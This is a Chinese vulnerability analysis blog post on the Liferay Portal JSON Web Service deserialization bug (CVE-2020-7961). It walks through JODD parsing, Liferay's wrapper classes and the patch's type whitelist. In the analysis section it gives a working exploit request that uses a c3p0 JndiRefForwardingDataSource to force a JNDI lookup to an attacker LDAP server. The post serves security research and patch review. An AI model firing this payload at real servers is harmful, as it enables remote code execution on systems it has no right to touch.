Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)
作者:Longofo@知道創宇404實驗室
時間:2020年3月27日
原文地址:
英文版本:
之前在CODE WHITE上釋出了一篇關於 Liferay Portal JSON Web Service RCE 的漏洞,之前是小夥伴在處理這個漏洞,後面自己也去看了。Liferay Portal對於JSON Web Service的處理,在6.1、6.2版本中使用的是 ,在7版本之後換成了 。
總結起來該漏洞就是:Liferay Portal提供了Json Web Service服務,對於某些可以呼叫的端點,如果某個方法提供的是Object引數型別,那麼就能夠構造符合Java Beans的可利用惡意類,傳遞構造好的json反序列化串,Liferay反序列化時會自動呼叫惡意類的setter方法以及預設構造方法。不過還有一些細節問題,感覺還挺有意思,作者文中那張向上查詢圖,想著idea也沒提供這樣方便的功能,應該是自己實現的查詢工具,文中分析下Liferay使用JODD反序列化的情況。
JODD序列化與反序列化
參考 ,先看下JODD的直接序列化與反序列化:
TestObject.java
package com.longofo;import java.util.HashMap;public class TestObject {
private String name;
private Object object;
private HashMap<String, String> hashMap;
public TestObject() {
System.out.println("TestObject default constractor call");
}
public String getName() {
System.out.println("TestObject getName call");
return name;
}
public void setName(String name) {
System.out.println("TestObject setName call");
this.name = name;
}
public Object getObject() {
System.out.println("TestObject getObject call");
return object;
}
public void setObject(Object object) {
System.out.println("TestObject setObject call");
this.object = object;
}
public HashMap<String, String> getHashMap() {
System.out.println("TestObject getHashMap call");
return hashMap;
}
public void setHashMap(HashMap<String, String> hashMap) {
System.out.println("TestObject setHashMap call");
this.hashMap = hashMap;
}
@Override
public String toString() {
return "TestObject{" +
"name='" + name + '\'' +
", object=" + object +
", hashMap=" + hashMap +
'}';
}}
TestObject1.java
package com.longofo;public class TestObject1 {
private String jndiName;
public TestObject1() {
System.out.println("TestObject1 default constractor call");
}
public String getJndiName() {
System.out.println("TestObject1 getJndiName call");
return jndiName;
}
public void setJndiName(String jndiName) {
System.out.println("TestObject1 setJndiName call");
this.jndiName = jndiName;// Context context = new InitialContext();// context.lookup(jndiName);
}}
Test.java
package com.longofo;import jodd.json.JsonParser;import jodd.json.JsonSerializer;import java.util.HashMap;public class Test {
public static void main(String[] args) {
System.out.println("test common usage");
test1Common();
System.out.println();
System.out.println();
System.out.println("test unsecurity usage");
test2Unsecurity();
}
public static void test1Common() {
TestObject1 testObject1 = new TestObject1();
testObject1.setJndiName("xxx");
HashMap hashMap = new HashMap<String, String>();
hashMap.put("aaa", "bbb");
TestObject testObject = new TestObject();
testObject.setName("ccc");
testObject.setObject(testObject1);
testObject.setHashMap(hashMap);
JsonSerializer jsonSerializer = new JsonSerializer();
String json = jsonSerializer.deep(true).serialize(testObject);
System.out.println(json);
System.out.println("----------------------------------------");
JsonParser jsonParser = new JsonParser();
TestObject dtestObject = jsonParser.map("object", TestObject1.class).parse(json, TestObject.class);
System.out.println(dtestObject);
}
public static void test2Unsecurity() {
TestObject1 testObject1 = new TestObject1();
testObject1.setJndiName("xxx");
HashMap hashMap = new HashMap<String, String>();
hashMap.put("aaa", "bbb");
TestObject testObject = new TestObject();
testObject.setName("ccc");
testObject.setObject(testObject1);
testObject.setHashMap(hashMap);
JsonSerializer jsonSerializer = new JsonSerializer();
String json = jsonSerializer.setClassMetadataName("class").deep(true).serialize(testObject);
System.out.println(json);
System.out.println("----------------------------------------");
JsonParser jsonParser = new JsonParser();
TestObject dtestObject = jsonParser.setClassMetadataName("class").parse(json);
System.out.println(dtestObject);
}}
輸出:
test common usageTestObject1 default constractor callTestObject1 setJndiName callTestObject default constractor callTestObject setName callTestObject setObject callTestObject setHashMap callTestObject getHashMap callTestObject getName callTestObject getObject callTestObject1 getJndiName call{"hashMap":{"aaa":"bbb"},"name":"ccc","object":{"jndiName":"xxx"}}----------------------------------------TestObject default constractor callTestObject setHashMap callTestObject setName callTestObject1 default constractor callTestObject1 setJndiName callTestObject setObject callTestObject{name='ccc', object=com.longofo.TestObject1@6fdb1f78, hashMap={aaa=bbb}}test unsecurity usageTestObject1 default constractor callTestObject1 setJndiName callTestObject default constractor callTestObject setName callTestObject setObject callTestObject setHashMap callTestObject getHashMap callTestObject getName callTestObject getObject callTestObject1 getJndiName call{"class":"com.longofo.TestObject","hashMap":{"aaa":"bbb"},"name":"ccc","object":{"class":"com.longofo.TestObject1","jndiName":"xxx"}}----------------------------------------TestObject1 default constractor callTestObject1 setJndiName callTestObject default constractor callTestObject setHashMap callTestObject setName callTestObject setObject callTestObject{name='ccc', object=com.longofo.TestObject1@65e579dc, hashMap={aaa=bbb}}
在Test.java中,使用了兩種方式,第一種是常用的使用方式,在反序列化時指定根型別(rootType);而第二種官方也不推薦這樣使用,存在安全問題,假設某個應用提供了接收JODD Json的地方,並且使用了第二種方式,那麼就可以任意指定型別進行反序列化了,不過Liferay這個漏洞給並不是這個原因造成的,它並沒有使用setClassMetadataName("class")這種方式。
Liferay對JODD的包裝
Liferay沒有直接使用JODD進行處理,而是重新包裝了JODD一些功能。程式碼不長,所以下面分別分析下Liferay對JODD的JsonSerializer與JsonParser的包裝。
JSONSerializerImpl
Liferay對JODD JsonSerializer的包裝是
com.liferay.portal.json.JSONSerializerImpl
類:
public class JSONSerializerImpl implements JSONSerializer {
private final JsonSerializer _jsonSerializer;//JODD的JsonSerializer,最後還是交給了JODD的JsonSerializer去處理,只不過包裝了一些額外的設定
public JSONSerializerImpl() {
if (JavaDetector.isIBM()) {//探測JDK
SystemUtil.disableUnsafeUsage();//和Unsafe類的使用有關
}
this._jsonSerializer = new JsonSerializer();
}
public JSONSerializerImpl exclude(String... fields) {
this._jsonSerializer.exclude(fields);//排除某個field不序列化
return this;
}
public JSONSerializerImpl include(String... fields) {
this._jsonSerializer.include(fields);//包含某個field進行序列化
return this;
}
public String serialize(Object target) {
return this._jsonSerializer.serialize(target);//呼叫JODD的JsonSerializer進行序列化
}
public String serializeDeep(Object target) {
JsonSerializer jsonSerializer = this._jsonSerializer.deep(true);//設定了deep後能序列化任意型別的field,包括集合等型別
return jsonSerializer.serialize(target);
}
public JSONSerializerImpl transform(JSONTransformer jsonTransformer, Class<?> type) {//設定轉換器,和下面的設定全域性轉換器類似,不過這裡可以傳入自定義的轉換器(比如將某個類的Data field,格式為03/27/2020,序列化時轉為2020-03-27)
TypeJsonSerializer<?> typeJsonSerializer = null;
if (jsonTransformer instanceof TypeJsonSerializer) {
typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;
} else {
typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);
}
this._jsonSerializer.use(type, (TypeJsonSerializer)typeJsonSerializer);
return this;
}
public JSONSerializerImpl transform(JSONTransformer jsonTransformer, String field) {
TypeJsonSerializer<?> typeJsonSerializer = null;
if (jsonTransformer instanceof TypeJsonSerializer) {
typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;
} else {
typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);
}
this._jsonSerializer.use(field, (TypeJsonSerializer)typeJsonSerializer);
return this;
}
static {
//全域性註冊,對於所有Array、Object、Long型別的資料,在序列化時都進行轉換單獨的轉換處理
JoddJson.defaultSerializers.register(JSONArray.class, new JSONSerializerImpl.JSONArrayTypeJSONSerializer());
JoddJson.defaultSerializers.register(JSONObject.class, new JSONSerializerImpl.JSONObjectTypeJSONSerializer());
JoddJson.defaultSerializers.register(Long.TYPE, new JSONSerializerImpl.LongToStringTypeJSONSerializer());
JoddJson.defaultSerializers.register(Long.class, new JSONSerializerImpl.LongToStringTypeJSONSerializer());
}
private static class LongToStringTypeJSONSerializer implements TypeJsonSerializer<Long> {
private LongToStringTypeJSONSerializer() {
}
public void serialize(JsonContext jsonContext, Long value) {
jsonContext.writeString(String.valueOf(value));
}
}
private static class JSONObjectTypeJSONSerializer implements TypeJsonSerializer<JSONObject> {
private JSONObjectTypeJSONSerializer() {
}
public void serialize(JsonContext jsonContext, JSONObject jsonObject) {
jsonContext.write(jsonObject.toString());
}
}
private static class JSONArrayTypeJSONSerializer implements TypeJsonSerializer<JSONArray> {
private JSONArrayTypeJSONSerializer() {
}
public void serialize(JsonContext jsonContext, JSONArray jsonArray) {
jsonContext.write(jsonArray.toString());
}
}}
能看出就是設定了JODD JsonSerializer在序列化時的一些功能。
JSONDeserializerImpl
Liferay對JODD JsonParser的包裝是
com.liferay.portal.json.JSONDeserializerImpl
類:
public class JSONDeserializerImpl<T> implements JSONDeserializer<T> {
private final JsonParser _jsonDeserializer;//JsonParser,反序列化最後還是交給了JODD的JsonParser去處理,JSONDeserializerImpl包裝了一些額外的設定
public JSONDeserializerImpl() {
if (JavaDetector.isIBM()) {//探測JDK
SystemUtil.disableUnsafeUsage();//和Unsafe類的使用有關
}
this._jsonDeserializer = new PortalJsonParser();
}
public T deserialize(String input) {
return this._jsonDeserializer.parse(input);//呼叫JODD的JsonParser進行反序列化
}
public T deserialize(String input, Class<T> targetType) {
return this._jsonDeserializer.parse(input, targetType);//呼叫JODD的JsonParser進行反序列化,可以指定根型別(rootType)
}
public <K, V> JSONDeserializer<T> transform(JSONDeserializerTransformer<K, V> jsonDeserializerTransformer, String field) {//反序列化時使用的轉換器
ValueConverter<K, V> valueConverter = new JoddJsonDeserializerTransformer(jsonDeserializerTransformer);
this._jsonDeserializer.use(field, valueConverter);
return this;
}
public JSONDeserializer<T> use(String path, Class<?> clazz) {
this._jsonDeserializer.map(path, clazz);//為某個field指定具體的型別,例如file在某個類是介面或Object等型別,在反序列化時指定具體的
return this;
}}
能看出也是設定了JODD JsonParser在反序列化時的一些功能。
Liferay 漏洞分析
Liferay在
/api/jsonws
API提供了幾百個可以呼叫的Webservice,負責處理的該API的Servlet也直接在web.xml中進行了配置:
隨意點一個方法看看:
看到這個有點感覺了,可以傳遞引數進行方法呼叫,有個p_auth是用來驗證的,不過反序列化在驗證之前,所以那個值對漏洞利用沒影響。根據CODE WHITE那篇分析,是存在引數型別為Object的方法引數的,那麼猜測可能可以傳入任意型別的類。可以先正常的抓包呼叫去除錯下,這裡就不寫正常的呼叫除錯過程了,簡單看一下post引數:
cmd={"/announcementsdelivery/update-delivery":{}}&p_auth=cqUjvUKs&formDate=1585293659009&userId=11&type=11&email=true&sms=true
總的來說就是
Liferay先查詢
/announcementsdelivery/update-delivery
對應的方法->其他post引數參都是方法的引數->當每個引數物件型別與與目標方法引數型別一致時->恢復引數物件->利用反射呼叫該方法。
但是抓包並沒有型別指定,因為大多數型別是String、long、int、List、map等型別,JODD反序列化時會自動處理。但是對於某些介面/Object型別的field,如果要指定具體的型別,該怎麼指定?
作者文中提到,Liferay Portal 7中只能顯示指定rootType進行呼叫,從上面Liferay對JODD JSONDeserializerImpl包裝來看也是這樣。如果要恢復某個方法引數是Object型別時具體的物件,那麼Liferay本身可能會先對資料進行解析,獲取到指定的型別,然後呼叫JODD的parse(path,class)方法,傳遞解析出的具體型別來恢復這個引數物件;也有可能Liferay並沒有這樣做。不過從作者的分析中可以看出,Liferay確實這樣做了。作者查詢了
jodd.json.Parser#rootType
的呼叫圖(羨慕這樣的工具):
透過向上查詢的方式,作者找到了可能存在能指定根型別的地方,在
com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl
呼叫了
com.liferay.portal.kernel.JSONFactoryUtil#looseDeserialize(valueString, parameterType)
, looseDeserialize呼叫的是JSONSerializerImpl,JSONSerializerImpl呼叫的是
JODD的JsonParse.parse
。
com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl
再往上的呼叫就是Liferay解析Web Service引數的過程了。它的上一層
JSONWebServiceActionImpl#_prepareParameters(Class<?>)
,JSONWebServiceActionImpl類有個
_jsonWebServiceActionParameters
屬性:
這個屬性中又儲存著一個
JSONWebServiceActionParametersMap
,在它的put方法中,當引數以
+
開頭時,它的put方法以
:
分割了傳遞的引數,
:
之前是引數名,
:
之後是型別名。
而put解析的操作在
com.liferay.portal.jsonwebservice.action.JSONWebServiceInvokerAction#_executeStatement
中完成:
透過上面的分析與作者的文章,我們能知道以下幾點:
-
Liferay 允許我們透過/api/jsonws/xxx呼叫Web Service方法
-
引數可以以+開頭,用
:
指定引數型別 -
JODD JsonParse會呼叫類的預設構造方法,以及field對應的setter方法
所以需要找在setter方法中或預設構造方法中存在惡意操作的類。去看下marshalsec已經提供的利用鏈,可以直接找Jackson、帶Yaml的,看他們繼承的利用鏈,大多數也適合這個漏洞,同時也要看在Liferay中是否存在才能用。這裡用
com.mchange.v2.c3p0.JndiRefForwardingDataSource
這個測試,用
/expandocolumn/add-column
這個Service,因為他有
java.lang.Object
引數:
Payload如下:
cmd={"/expandocolumn/add-column":{}}&p_auth=Gyr2NhlX&formDate=1585307550388&tableId=1&name=1&type=1&+defaultData:com.mchange.v2.c3p0.JndiRefForwardingDataSource={"jndiName":"ldap://127.0.0.1:1389/Object","loginTimeout":0}
解析出了引數型別,並進行引數物件反序列化,最後到達了jndi查詢:
補丁分析
Liferay補丁增加了型別校驗,在
com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#_checkTypeIsAssignable
中:
private void _checkTypeIsAssignable(int argumentPos, Class<?> targetClass, Class<?> parameterType) {
String parameterTypeName = parameterType.getName();
if (parameterTypeName.contains("com.liferay") && parameterTypeName.contains("Util")) {//含有com.liferay與Util非法
throw new IllegalArgumentException("Not instantiating " + parameterTypeName);
} else if (!Objects.equals(targetClass, parameterType)) {//targetClass與parameterType不匹配時進入下一層校驗
if (!ReflectUtil.isTypeOf(parameterType, targetClass)) {//parameterType是否是targetClass的子類
throw new IllegalArgumentException(StringBundler.concat(new Object[]{"Unmatched argument type ", parameterTypeName, " for method argument ", argumentPos}));
} else if (!parameterType.isPrimitive()) {//parameterType不是基本型別是進入下一層校驗
if (!parameterTypeName.equals(this._jsonWebServiceNaming.convertModelClassToImplClassName(targetClass))) {//註解校驗
if (!ArrayUtil.contains(_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES, parameterTypeName)) {//白名單校驗,白名單類在_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES中
ServiceReference<Object>[] serviceReferences = _serviceTracker.getServiceReferences();
if (serviceReferences != null) {
String key = "jsonws.web.service.parameter.type.whitelist.class.names";
ServiceReference[] var7 = serviceReferences;
int var8 = serviceReferences.length;
for(int var9 = 0; var9 < var8; ++var9) {
ServiceReference<Object> serviceReference = var7[var9];
List<String> whitelistedClassNames = StringPlus.asList(serviceReference.getProperty(key));
if (whitelistedClassNames.contains(parameterTypeName)) {
return;
}
}
}
throw new TypeConversionException(parameterTypeName + " is not allowed to be instantiated");
}
}
}
}
}
_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES
所有白名單類在portal.properties中,有點長就不列出來了,基本都是以
com.liferay
開頭的類。
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69912109/viewspace-2683886/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- WEB漏洞——PHP反序列化WebPHP
- Web安全之PHP反序列化漏洞WebPHP
- JSON-B:簡化 JSON 序列化和反序列化JSON
- Json hijacking/Json劫持漏洞JSON
- Kotlin Json 序列化KotlinJSON
- Liferay前揍
- Newtonsoft.Json序列化JSON字串問題JSON字串
- Flutter中JSON序列化與反序列化FlutterJSON
- C#序列化和反序列化(json)C#JSON
- Java序列化、反序列化、反序列化漏洞Java
- JSON劫持漏洞分析JSON
- Akka-CQRS(11)- akka-http for http-web-service: Marshalling-資料序列化HTTPWeb
- C# Json反序列化C#JSON
- JavaScript物件序列化為JSONJavaScript物件JSON
- Spring Web Service教程SpringWeb
- python 反序列化漏洞Python
- php反序列化漏洞PHP
- fastjson反序列化漏洞ASTJSON
- JMX 反序列化漏洞
- 【漏洞復現】Shiro<=1.2.4反序列化漏洞
- Java物件的序列化與反序列化-Json篇Java物件JSON
- 序列化和反序列化pickle和json 模組JSON
- flutter json_annotation和json_serializable處理json資料序列化FlutterJSON
- json無法序列化問題JSON
- Json序列化字串異常情況JSON字串
- python json反序列化為物件PythonJSON物件
- Swift 中的 JSON 反序列化SwiftJSON
- php xss 反序列化漏洞PHP
- Fastjson 反序列化漏洞史ASTJSON
- WebLogic XMLDecoder反序列化漏洞WebXML
- 教你入門Web ServiceWeb
- Android中的Web ServiceAndroidWeb
- Python中序列化/反序列化JSON格式的資料PythonJSON
- Python學習——序列化與反序列化-json&picklePythonJSON
- Python常用標準庫(pickle序列化和JSON序列化)PythonJSON
- JWT(Json WEB Token)JWTJSONWeb
- Liferay 啟動過程分析
- WEB漏洞——SQLWebSQL